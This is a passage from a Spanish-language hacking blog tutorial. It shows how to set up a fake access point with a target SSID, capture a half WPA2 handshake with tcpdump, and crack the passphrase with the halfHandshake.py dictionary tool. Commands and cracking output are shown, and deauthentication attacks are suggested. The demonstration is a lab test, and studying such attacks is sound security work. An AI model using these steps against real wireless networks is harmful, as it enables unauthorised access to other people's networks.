mode=infrastructure

mac-address=9C:D2:1E:43:76:E9

security=802-11-wireless-security

[802-11-wireless-security]

key-mgmt=wpa-psk

psk=testingwpa2ap

[ipv4]

method=auto

[ipv6]

method=auto

Con todo lo anterior, ahora se puede activar la red wifi y el dispositivo actuará como un AP con el SSID indicado.

El siguiente paso consiste en capturar todo el trafico correspondiente a las conexiones que realizarán los clientes contra el AP recién creado. Para ello, se puede utilizar Wireshark, TCPDump o airodump-ng para capturar el handshake a medias.

sudo tcpdump -i wlan0 -s 65535 -w half-handshake.cap

Una forma de conseguir trafico, es utilizando herramientas como aircrack-ng para ejecutar ataques de “deauthenticación” contra los clientes de una red determinada. En el caso de que no exista un AP con el SSID especificado en la zona de acción, pero que se tenga la plena seguridad de que en algún momento habrá clientes que busquen dicho SSID, solamente será cuestión de paciencia y esperar a que dichos clientes ejecuten las peticiones “PROBE_REQUEST”.

Finalmente, es el momento de realizar el ataque por diccionario y para ello, se puede utilizar una herramienta llamada “WPA2-HalfHandshake-Crack”

Utilizando WPA2-HalfHandshake-Crack

“WPA2-HalfHandshake-Crack” es una herramienta que se encarga de realizar ataques por diccionario contra ficheros PCAP con un handshake completo o uno a medias. El proyecto se encuentra ubicado en el siguiente repositorio de GitHub: https://github.com/dxa4481/WPA2-HalfHandshake-Crack.git

Es necesario instalar todas las dependencias para poder ejecutar el script y para ello, se puede lanzar el script setup.py con el argumento “install”. La utilidad principal del proyecto es “halfHandshake.py” y recibe como argumento las siguientes opciones:

-r: Fichero PCAP con el handshake o el handshake a medias que se ha capturado previamente

-m: Dirección MAC del AP.

-s: El SSID del AP.

-d: Ubicación del diccionario para realizar el ataque. Si no se especifica un valor, se lee el diccionario por defecto de la herramienta.

Usando el fichero PCAP capturado en el paso anterior y un diccionario que contiene la contraseña, se puede ejecutar la utilidad para intentar obtener el passphrase.

python halfHandshake.py -r half-handshake.cap -m FC15B4FCF606 -s “ONOB4387″ -d dictONOFAKE

loading dictionary…

0.02212665655% done. 700.23228772 hashes per second

0.0431311549654% done. 713.574044375 hashes per second

0.0637903739549% done. 714.927209317 hashes per second

0.0851689250818% done. 721.570195251 hashes per second

0.105885690642% done. 721.111075404 hashes per second

Passphrase found! testingwpa2ap

Como se puede apreciar, ha sido rápido y limpio, evidentemente porque el diccionario especificado ya contenía la passphrase del AP, sin embargo es bastante ilustrativo para probar el uso de esta herramienta y verificar que aunque no se cuente con un handshake completo, aun sigue siendo posible realizar un ataque por diccionario con un handshake a medias.

Un saludo y Happy Hack!
Adastra

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.545 seguidores

A %d blogueros les gusta esto: